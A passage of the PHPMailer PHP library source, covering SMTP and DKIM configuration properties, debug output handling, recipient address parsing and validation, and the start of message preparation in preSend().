* The default SMTP server port.
*
* @var int
*/
public $Port = 25;
/**
* The SMTP HELO/EHLO name used for the SMTP connection.
* Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
* one with the same method described above for $Hostname.
*
* @see PHPMailer::$Hostname
*
* @var string
*/
public $Helo = '';
/**
* What kind of encryption to use on the SMTP connection.
* Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS.
*
* @var string
*/
public $SMTPSecure = '';
/**
* Whether to enable TLS encryption automatically if a server supports it,
* even if `SMTPSecure` is not set to 'tls'.
* Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
*
* @var bool
*/
public $SMTPAutoTLS = true;
/**
* Whether to use SMTP authentication.
* Uses the Username and Password properties.
*
* @see PHPMailer::$Username
* @see PHPMailer::$Password
*
* @var bool
*/
public $SMTPAuth = false;
/**
* Options array passed to stream_context_create when connecting via SMTP.
*
* @var array
*/
public $SMTPOptions = [];
/**
* SMTP username.
*
* @var string
*/
public $Username = '';
/**
* SMTP password.
*
* @var string
*/
public $Password = '';
/**
* SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2.
* If not specified, the first one from that list that the server supports will be selected.
*
* @var string
*/
public $AuthType = '';
/**
* SMTP SMTPXClient command attibutes
*
* @var array
*/
protected $SMTPXClient = [];
/**
* An implementation of the PHPMailer OAuthTokenProvider interface.
*
* @var OAuthTokenProvider
*/
protected $oauth;
/**
* The SMTP server timeout in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
*
* @var int
*/
public $Timeout = 300;
/**
* Comma separated list of DSN notifications
* 'NEVER' under no circumstances a DSN must be returned to the sender.
* If you use NEVER all other notifications will be ignored.
* 'SUCCESS' will notify you when your mail has arrived at its destination.
* 'FAILURE' will arrive if an error occurred during delivery.
* 'DELAY' will notify you if there is an unusual delay in delivery, but the actual
* delivery's outcome (success or failure) is not yet decided.
*
* @see https://tools.ietf.org/html/rfc3461 See section 4.1 for more information about NOTIFY
*/
public $dsn = '';
/**
* SMTP class debug output mode.
* Debug output level.
* Options:
* @see SMTP::DEBUG_OFF: No output
* @see SMTP::DEBUG_CLIENT: Client messages
* @see SMTP::DEBUG_SERVER: Client and server messages
* @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status
* @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed
*
* @see SMTP::$do_debug
*
* @var int
*/
public $SMTPDebug = 0;
/**
* How to handle debug output.
* Options:
* * `echo` Output plain-text as-is, appropriate for CLI
* * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
* * `error_log` Output to error log as configured in php.ini
* By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise.
* Alternatively, you can provide a callable expecting two params: a message string and the debug level:
*
* ```php
* $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
* ```
*
* Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug`
* level output is used:
*
* ```php
* $mail->Debugoutput = new myPsr3Logger;
* ```
*
* @see SMTP::$Debugoutput
*
* @var string|callable|\Psr\Log\LoggerInterface
*/
public $Debugoutput = 'echo';
/**
* Whether to keep the SMTP connection open after each message.
* If this is set to true then the connection will remain open after a send,
* and closing the connection will require an explicit call to smtpClose().
* It's a good idea to use this if you are sending multiple messages as it reduces overhead.
* See the mailing list example for how to use it.
*
* @var bool
*/
public $SMTPKeepAlive = false;
/**
* Whether to split multiple to addresses into multiple messages
* or send them all in one message.
* Only supported in `mail` and `sendmail` transports, not in SMTP.
*
* @var bool
*
* @deprecated 6.0.0 PHPMailer isn't a mailing list manager!
*/
public $SingleTo = false;
/**
* Storage for addresses when SingleTo is enabled.
*
* @var array
*/
protected $SingleToArray = [];
/**
* Whether to generate VERP addresses on send.
* Only applicable when sending via SMTP.
*
* @see https://en.wikipedia.org/wiki/Variable_envelope_return_path
* @see http://www.postfix.org/VERP_README.html Postfix VERP info
*
* @var bool
*/
public $do_verp = false;
/**
* Whether to allow sending messages with an empty body.
*
* @var bool
*/
public $AllowEmpty = false;
/**
* DKIM selector.
*
* @var string
*/
public $DKIM_selector = '';
/**
* DKIM Identity.
* Usually the email address used as the source of the email.
*
* @var string
*/
public $DKIM_identity = '';
/**
* DKIM passphrase.
* Used if your key is encrypted.
*
* @var string
*/
public $DKIM_passphrase = '';
/**
* DKIM signing domain name.
*
* @example 'example.com'
*
* @var string
*/
public $DKIM_domain = '';
/**
* DKIM Copy header field values for diagnostic use.
*
* @var bool
*/
public $DKIM_copyHeaderFields = true;
/**
* DKIM Extra signing headers.
*
* @example ['List-Unsubscribe', 'List-Help']
*
* @var array
*/
public $DKIM_extraHeaders = [];
/**
* DKIM private key file path.
*
* @var string
*/
public $DKIM_private = '';
/**
* DKIM private key string.
*
* If set, takes precedence over `$DKIM_private`.
*
* @var string
*/
public $DKIM_private_string = '';
/**
* Callback Action function name.
*
* The function that handles the result of the send email action.
* It is called out by send() for each email sent.
*
* Value can be any php callable: http://www.php.net/is_callable
*
* Parameters:
* bool $result result of the send action
* array $to email addresses of the recipients
* array $cc cc email addresses
* array $bcc bcc email addresses
* string $subject the subject
* string $body the email body
* string $from email address of sender
* string $extra extra information of possible use
* "smtp_transaction_id' => last smtp transaction id
*
* @var string
*/
public $action_function = '';
/**
* What to put in the X-Mailer header.
* Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use.
*
* @var string|null
*/
public $XMailer = '';
/**
* Which validator to use by default when validating email addresses.
* May be a callable to inject your own validator, but there are several built-in validators.
* The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option.
*
* @see PHPMailer::validateAddress()
*
* @var string|callable
*/
public static $validator = 'php';
/**
* An instance of the SMTP sender class.
*
* @var SMTP
*/
protected $smtp;
/**
* The array of 'to' names and addresses.
*
* @var array
*/
protected $to = [];
/**
* The array of 'cc' names and addresses.
*
* @var array
*/
protected $cc = [];
/**
* The array of 'bcc' names and addresses.
*
* @var array
*/
protected $bcc = [];
/**
* The array of reply-to names and addresses.
*
* @var array
*/
protected $ReplyTo = [];
/**
* An array of all kinds of addresses.
* Includes all of $to, $cc, $bcc.
*
* @see PHPMailer::$to
* @see PHPMailer::$cc
* @see PHPMailer::$bcc
*
* @var array
*/
protected $all_recipients = [];
/**
* An array of names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $all_recipients
* and one of $to, $cc, or $bcc.
* This array is used only for addresses with IDN.
*
* @see PHPMailer::$to
* @see PHPMailer::$cc
* @see PHPMailer::$bcc
* @see PHPMailer::$all_recipients
*
* @var array
*/
protected $RecipientsQueue = [];
/**
* An array of reply-to names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $ReplyTo.
* This array is used only for addresses with IDN.
*
* @see PHPMailer::$ReplyTo
*
* @var array
*/
protected $ReplyToQueue = [];
/**
* The array of attachments.
*
* @var array
*/
protected $attachment = [];
/**
* The array of custom headers.
*
* @var array
*/
protected $CustomHeader = [];
/**
* The most recent Message-ID (including angular brackets).
*
* @var string
*/
protected $lastMessageID = '';
/**
* The message's MIME type.
*
* @var string
*/
protected $message_type = '';
/**
* The array of MIME boundary strings.
*
* @var array
*/
protected $boundary = [];
/**
* The array of available text strings for the current language.
*
* @var array
*/
protected $language = [];
/**
* The number of errors encountered.
*
* @var int
*/
protected $error_count = 0;
/**
* The S/MIME certificate file path.
*
* @var string
*/
protected $sign_cert_file = '';
/**
* The S/MIME key file path.
*
* @var string
*/
protected $sign_key_file = '';
/**
* The optional S/MIME extra certificates ("CA Chain") file path.
*
* @var string
*/
protected $sign_extracerts_file = '';
/**
* The S/MIME password for the key.
* Used only if the key is encrypted.
*
* @var string
*/
protected $sign_key_pass = '';
/**
* Whether to throw exceptions for errors.
*
* @var bool
*/
protected $exceptions = false;
/**
* Unique ID used for message ID and boundaries.
*
* @var string
*/
protected $uniqueid = '';
/**
* The PHPMailer Version number.
*
* @var string
*/
const VERSION = '6.9.1';
/**
* Error severity: message only, continue processing.
*
* @var int
*/
const STOP_MESSAGE = 0;
/**
* Error severity: message, likely ok to continue processing.
*
* @var int
*/
const STOP_CONTINUE = 1;
/**
* Error severity: message, plus full stop, critical error reached.
*
* @var int
*/
const STOP_CRITICAL = 2;
/**
* The SMTP standard CRLF line break.
* If you want to change line break format, change static::$LE, not this.
*/
const CRLF = "\r\n";
/**
* "Folding White Space" a white space string used for line folding.
*/
const FWS = ' ';
/**
* SMTP RFC standard line ending; Carriage Return, Line Feed.
*
* @var string
*/
protected static $LE = self::CRLF;
/**
* The maximum line length supported by mail().
*
* Background: mail() will sometimes corrupt messages
* with headers longer than 65 chars, see #818.
*
* @var int
*/
const MAIL_MAX_LINE_LENGTH = 63;
/**
* The maximum line length allowed by RFC 2822 section 2.1.1.
*
* @var int
*/
const MAX_LINE_LENGTH = 998;
/**
* The lower maximum line length allowed by RFC 2822 section 2.1.1.
* This length does NOT include the line break
* 76 means that lines will be 77 or 78 chars depending on whether
* the line break format is LF or CRLF; both are valid.
*
* @var int
*/
const STD_LINE_LENGTH = 76;
/**
* Constructor.
*
* @param bool $exceptions Should we throw external exceptions?
*/
public function __construct($exceptions = null)
{
if (null !== $exceptions) {
$this->exceptions = (bool) $exceptions;
}
//Pick an appropriate debug output format automatically
$this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
}
/**
* Destructor.
*/
public function __destruct()
{
//Close any open SMTP connection nicely
$this->smtpClose();
}
/**
* Call mail() in a safe_mode-aware fashion.
* Also, unless sendmail_path points to sendmail (or something that
* claims to be sendmail), don't pass params (not a perfect fix,
* but it will do).
*
* @param string $to To
* @param string $subject Subject
* @param string $body Message Body
* @param string $header Additional Header(s)
* @param string|null $params Params
*
* @return bool
*/
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if ((int)ini_get('mbstring.func_overload') & 1) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Calling mail() with null params breaks
$this->edebug('Sending with mail()');
$this->edebug('Sendmail path: ' . ini_get('sendmail_path'));
$this->edebug("Envelope sender: {$this->Sender}");
$this->edebug("To: {$to}");
$this->edebug("Subject: {$subject}");
$this->edebug("Headers: {$header}");
if (!$this->UseSendmailOptions || null === $params) {
$result = @mail($to, $subject, $body, $header);
} else {
$this->edebug("Additional params: {$params}");
$result = @mail($to, $subject, $body, $header, $params);
}
$this->edebug('Result: ' . ($result ? 'true' : 'false'));
return $result;
}
/**
* Output debugging info via a user-defined method.
* Only generates output if debug output is enabled.
*
* @see PHPMailer::$Debugoutput
* @see PHPMailer::$SMTPDebug
*
* @param string $str
*/
protected function edebug($str)
{
if ($this->SMTPDebug <= 0) {
return;
}
//Is this a PSR-3 logger?
if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
$this->Debugoutput->debug($str);
return;
}
//Avoid clash with built-in function names
if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) {
call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
//Don't output, just log
/** @noinspection ForgottenDebugOutputInspection */
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[\r\n]+/', '', $str),
ENT_QUOTES,
'UTF-8'
), "<br>\n";
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/\r\n|\r/m', "\n", $str);
echo gmdate('Y-m-d H:i:s'),
"\t",
//Trim trailing space
trim(
//Indent for readability, except for trailing break
str_replace(
"\n",
"\n \t ",
trim($str)
)
),
"\n";
}
}
/**
* Sets message type to HTML or plain.
*
* @param bool $isHtml True for HTML mode
*/
public function isHTML($isHtml = true)
{
if ($isHtml) {
$this->ContentType = static::CONTENT_TYPE_TEXT_HTML;
} else {
$this->ContentType = static::CONTENT_TYPE_PLAINTEXT;
}
}
/**
* Send messages using SMTP.
*/
public function isSMTP()
{
$this->Mailer = 'smtp';
}
/**
* Send messages using PHP's mail() function.
*/
public function isMail()
{
$this->Mailer = 'mail';
}
/**
* Send messages using $Sendmail.
*/
public function isSendmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (false === stripos($ini_sendmail_path, 'sendmail')) {
$this->Sendmail = '/usr/sbin/sendmail';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'sendmail';
}
/**
* Send messages using qmail.
*/
public function isQmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (false === stripos($ini_sendmail_path, 'qmail')) {
$this->Sendmail = '/var/qmail/bin/qmail-inject';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'qmail';
}
/**
* Add a "To" address.
*
* @param string $address The email address to send to
* @param string $name
*
* @throws Exception
*
* @return bool true on success, false if address already used or invalid in some way
*/
public function addAddress($address, $name = '')
{
return $this->addOrEnqueueAnAddress('to', $address, $name);
}
/**
* Add a "CC" address.
*
* @param string $address The email address to send to
* @param string $name
*
* @throws Exception
*
* @return bool true on success, false if address already used or invalid in some way
*/
public function addCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('cc', $address, $name);
}
/**
* Add a "BCC" address.
*
* @param string $address The email address to send to
* @param string $name
*
* @throws Exception
*
* @return bool true on success, false if address already used or invalid in some way
*/
public function addBCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('bcc', $address, $name);
}
/**
* Add a "Reply-To" address.
*
* @param string $address The email address to reply to
* @param string $name
*
* @throws Exception
*
* @return bool true on success, false if address already used or invalid in some way
*/
public function addReplyTo($address, $name = '')
{
return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
* can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
* be modified after calling this function), addition of such addresses is delayed until send().
* Addresses that have been added already return false, but do not throw exceptions.
*
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address
* @param string $name An optional username associated with the address
*
* @throws Exception
*
* @return bool true on success, false if address already used or invalid in some way
*/
protected function addOrEnqueueAnAddress($kind, $address, $name)
{
$pos = false;
if ($address !== null) {
$address = trim($address);
$pos = strrpos($address, '@');
}
if (false === $pos) {
//At-sign is missing.
$error_message = sprintf(
'%s (%s): %s',
$this->lang('invalid_address'),
$kind,
$address
);
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new Exception($error_message);
}
return false;
}
if ($name !== null && is_string($name)) {
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
} else {
$name = '';
}
$params = [$kind, $address, $name];
//Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
//Domain is assumed to be whatever is after the last @ symbol in the address
if (static::idnSupported() && $this->has8bitChars(substr($address, ++$pos))) {
if ('Reply-To' !== $kind) {
if (!array_key_exists($address, $this->RecipientsQueue)) {
$this->RecipientsQueue[$address] = $params;
return true;
}
} elseif (!array_key_exists($address, $this->ReplyToQueue)) {
$this->ReplyToQueue[$address] = $params;
return true;
}
return false;
}
//Immediately add standard addresses without IDN.
return call_user_func_array([$this, 'addAnAddress'], $params);
}
/**
* Set the boundaries to use for delimiting MIME parts.
* If you override this, ensure you set all 3 boundaries to unique values.
* The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies,
* as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7
*
* @return void
*/
public function setBoundaries()
{
$this->uniqueid = $this->generateId();
$this->boundary[1] = 'b1=_' . $this->uniqueid;
$this->boundary[2] = 'b2=_' . $this->uniqueid;
$this->boundary[3] = 'b3=_' . $this->uniqueid;
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array.
* Addresses that have been added already return false, but do not throw exceptions.
*
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
*
* @throws Exception
*
* @return bool true on success, false if address already used or invalid in some way
*/
protected function addAnAddress($kind, $address, $name = '')
{
if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) {
$error_message = sprintf(
'%s: %s',
$this->lang('Invalid recipient kind'),
$kind
);
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new Exception($error_message);
}
return false;
}
if (!static::validateAddress($address)) {
$error_message = sprintf(
'%s (%s): %s',
$this->lang('invalid_address'),
$kind,
$address
);
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new Exception($error_message);
}
return false;
}
if ('Reply-To' !== $kind) {
if (!array_key_exists(strtolower($address), $this->all_recipients)) {
$this->{$kind}[] = [$address, $name];
$this->all_recipients[strtolower($address)] = true;
return true;
}
} elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = [$address, $name];
return true;
}
return false;
}
/**
* Parse and validate a string containing one or more RFC822-style comma-separated email addresses
* of the form "display name <address>" into an array of name/address pairs.
* Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
* Note that quotes in the name part are removed.
*
* @see http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
*
* @param string $addrstr The address list string
* @param bool $useimap Whether to use the IMAP extension to parse the list
* @param string $charset The charset to use when decoding the address list string.
*
* @return array
*/
public static function parseAddresses($addrstr, $useimap = true, $charset = self::CHARSET_ISO88591)
{
$addresses = [];
if ($useimap && function_exists('imap_rfc822_parse_adrlist')) {
//Use this built-in parser if it's available
$list = imap_rfc822_parse_adrlist($addrstr, '');
// Clear any potential IMAP errors to get rid of notices being thrown at end of script.
imap_errors();
foreach ($list as $address) {
if (
'.SYNTAX-ERROR.' !== $address->host &&
static::validateAddress($address->mailbox . '@' . $address->host)
) {
//Decode the name part if it's present and encoded
if (
property_exists($address, 'personal') &&
//Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled
defined('MB_CASE_UPPER') &&
preg_match('/^=\?.*\?=$/s', $address->personal)
) {
$origCharset = mb_internal_encoding();
mb_internal_encoding($charset);
//Undo any RFC2047-encoded spaces-as-underscores
$address->personal = str_replace('_', '=20', $address->personal);
//Decode the name
$address->personal = mb_decode_mimeheader($address->personal);
mb_internal_encoding($origCharset);
}
$addresses[] = [
'name' => (property_exists($address, 'personal') ? $address->personal : ''),
'address' => $address->mailbox . '@' . $address->host,
];
}
}
} else {
//Use this simpler parser
$list = explode(',', $addrstr);
foreach ($list as $address) {
$address = trim($address);
//Is there a separate name part?
if (strpos($address, '<') === false) {
//No separate name, just use the whole thing
if (static::validateAddress($address)) {
$addresses[] = [
'name' => '',
'address' => $address,
];
}
} else {
list($name, $email) = explode('<', $address);
$email = trim(str_replace('>', '', $email));
$name = trim($name);
if (static::validateAddress($email)) {
//Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled
//If this name is encoded, decode it
if (defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $name)) {
$origCharset = mb_internal_encoding();
mb_internal_encoding($charset);
//Undo any RFC2047-encoded spaces-as-underscores
$name = str_replace('_', '=20', $name);
//Decode the name
$name = mb_decode_mimeheader($name);
mb_internal_encoding($origCharset);
}
$addresses[] = [
//Remove any surrounding quotes and spaces from the name
'name' => trim($name, '\'" '),
'address' => $email,
];
}
}
}
}
return $addresses;
}
/**
* Set the From and FromName properties.
*
* @param string $address
* @param string $name
* @param bool $auto Whether to also set the Sender address, defaults to true
*
* @throws Exception
*
* @return bool
*/
public function setFrom($address, $name = '', $auto = true)
{
$address = trim((string)$address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
//Don't validate now addresses with IDN. Will be done in send().
$pos = strrpos($address, '@');
if (
(false === $pos)
|| ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported())
&& !static::validateAddress($address))
) {
$error_message = sprintf(
'%s (From): %s',
$this->lang('invalid_address'),
$address
);
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new Exception($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto && empty($this->Sender)) {
$this->Sender = $address;
}
return true;
}
/**
* Return the Message-ID header of the last email.
* Technically this is the value from the last time the headers were created,
* but it's also the message ID of the last sent message except in
* pathological cases.
*
* @return string
*/
public function getLastMessageID()
{
return $this->lastMessageID;
}
/**
* Check that a string looks like an email address.
* Validation patterns supported:
* * `auto` Pick best pattern automatically;
* * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0;
* * `pcre` Use old PCRE implementation;
* * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
* * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
* * `noregex` Don't use a regex: super fast, really dumb.
* Alternatively you may pass in a callable to inject your own validator, for example:
*
* ```php
* PHPMailer::validateAddress('user@example.com', function($address) {
* return (strpos($address, '@') !== false);
* });
* ```
*
* You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
*
* @param string $address The email address to check
* @param string|callable $patternselect Which pattern to use
*
* @return bool
*/
public static function validateAddress($address, $patternselect = null)
{
if (null === $patternselect) {
$patternselect = static::$validator;
}
//Don't allow strings as callables, see SECURITY.md and CVE-2021-3603
if (is_callable($patternselect) && !is_string($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) {
return false;
}
switch ($patternselect) {
case 'pcre': //Kept for BC
case 'pcre8':
/*
* A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL
* is based.
* In addition to the addresses allowed by filter_var, also permits:
* * dotless domains: `a@b`
* * comments: `1234 @ local(blah) .machine .example`
* * quoted elements: `'"test blah"@example.org'`
* * numeric TLDs: `a@b.123`
* * unbracketed IPv4 literals: `a@192.168.0.1`
* * IPv6 literals: 'first.last@[IPv6:a1::]'
* Not all of these will necessarily work for sending!
*
* @see http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (bool) preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'html5':
/*
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
*
* @see https://html.spec.whatwg.org/#e-mail-state-(type=email)
*/
return (bool) preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'php':
default:
return filter_var($address, FILTER_VALIDATE_EMAIL) !== false;
}
}
/**
* Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
* `intl` and `mbstring` PHP extensions.
*
* @return bool `true` if required functions for IDN support are present
*/
public static function idnSupported()
{
return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding');
}
/**
* Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
* Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
* This function silently returns unmodified address if:
* - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
* - Conversion to punycode is impossible (e.g. required PHP functions are not available)
* or fails for any reason (e.g. domain contains characters not allowed in an IDN).
*
* @see PHPMailer::$CharSet
*
* @param string $address The email address to convert
*
* @return string The encoded address in ASCII form
*/
public function punyencodeAddress($address)
{
//Verify we have required functions, CharSet, and at-sign.
$pos = strrpos($address, '@');
if (
!empty($this->CharSet) &&
false !== $pos &&
static::idnSupported()
) {
$domain = substr($address, ++$pos);
//Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) {
//Convert the domain from whatever charset it's in to UTF-8
$domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet);
//Ignore IDE complaints about this line - method signature changed in PHP 5.4
$errorcode = 0;
if (defined('INTL_IDNA_VARIANT_UTS46')) {
//Use the current punycode standard (appeared in PHP 7.2)
$punycode = idn_to_ascii(
$domain,
\IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI |
\IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII,
\INTL_IDNA_VARIANT_UTS46
);
} elseif (defined('INTL_IDNA_VARIANT_2003')) {
//Fall back to this old, deprecated/removed encoding
// phpcs:ignore PHPCompatibility.Constants.RemovedConstants.intl_idna_variant_2003Deprecated
$punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003);
} else {
//Fall back to a default we don't know about
// phpcs:ignore PHPCompatibility.ParameterValues.NewIDNVariantDefault.NotSet
$punycode = idn_to_ascii($domain, $errorcode);
}
if (false !== $punycode) {
return substr($address, 0, $pos) . $punycode;
}
}
}
return $address;
}
/**
* Create a message and send it.
* Uses the sending method specified by $Mailer.
*
* @throws Exception
*
* @return bool false on error - See the ErrorInfo property for details of the error
*/
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (Exception $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Prepare a message for sending.
*
* @throws Exception
*
* @return bool
*/
public function preSend()
{
if (
'smtp' === $this->Mailer
|| ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0))
) {
//SMTP mandates RFC-compliant line endings
//and it's also used with mail() on Windows
static::setLE(self::CRLF);
} else {
//Maintain backward compatibility with legacy Linux command line mailers
static::setLE(PHP_EOL);
}
//Check for buggy PHP versions that add a header with an incorrect line break
if (
'mail' === $this->Mailer
&& ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017)
|| (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103))
&& ini_get('mail.add_x_header') === '1'
&& stripos(PHP_OS, 'WIN') === 0
) {
trigger_error($this->lang('buggy_php'), E_USER_WARNING);
}
try {
$this->error_count = 0; //Reset errors
$this->mailHeader = '';
//Dequeue recipient and Reply-To addresses with IDN
foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
$params[1] = $this->punyencodeAddress($params[1]);
call_user_func_array([$this, 'addAnAddress'], $params);
}
if (count($this->to) + count($this->cc) + count($this->bcc) < 1) {
throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL);
}
//Validate From, Sender, and ConfirmReadingTo addresses
foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) {
if ($this->{$address_kind} === null) {
$this->{$address_kind} = '';
continue;
}
$this->{$address_kind} = trim($this->{$address_kind});
if (empty($this->{$address_kind})) {
continue;
}
$this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind});
if (!static::validateAddress($this->{$address_kind})) {
$error_message = sprintf(
'%s (%s): %s',
$this->lang('invalid_address'),
$address_kind,
$this->{$address_kind}
);
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new Exception($error_message);
}
return false;
}
}
//Set whether the message is multipart/alternative
if ($this->alternativeExists()) {
$this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE;
}
$this->setMessageType();
//Refuse to send an empty message unless we are specifically allowing it
if (!$this->AllowEmpty && empty($this->Body)) {
throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL);
}
//Trim subject consistently
$this->Subject = trim($this->Subject);
//Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
//createBody may have added some headers, so retain them
$tempheaders = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $tempheaders;
//To capture the complete message when using mail(), create
//an extra header list which createHeader() doesn't fold in
if ('mail' === $this->Mailer) {
if (count($this->to) > 0) {
$this->mailHeader .= $this->addrAppend('To', $this->to);
} else {
$this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
}
$this->mailHeader .= $this->headerLine(
'Subject',
$this->encodeHeader($this->secureHeader($this->Subject))
);
}
//Sign with DKIM if enabled
if (
!empty($this->DKIM_domain)
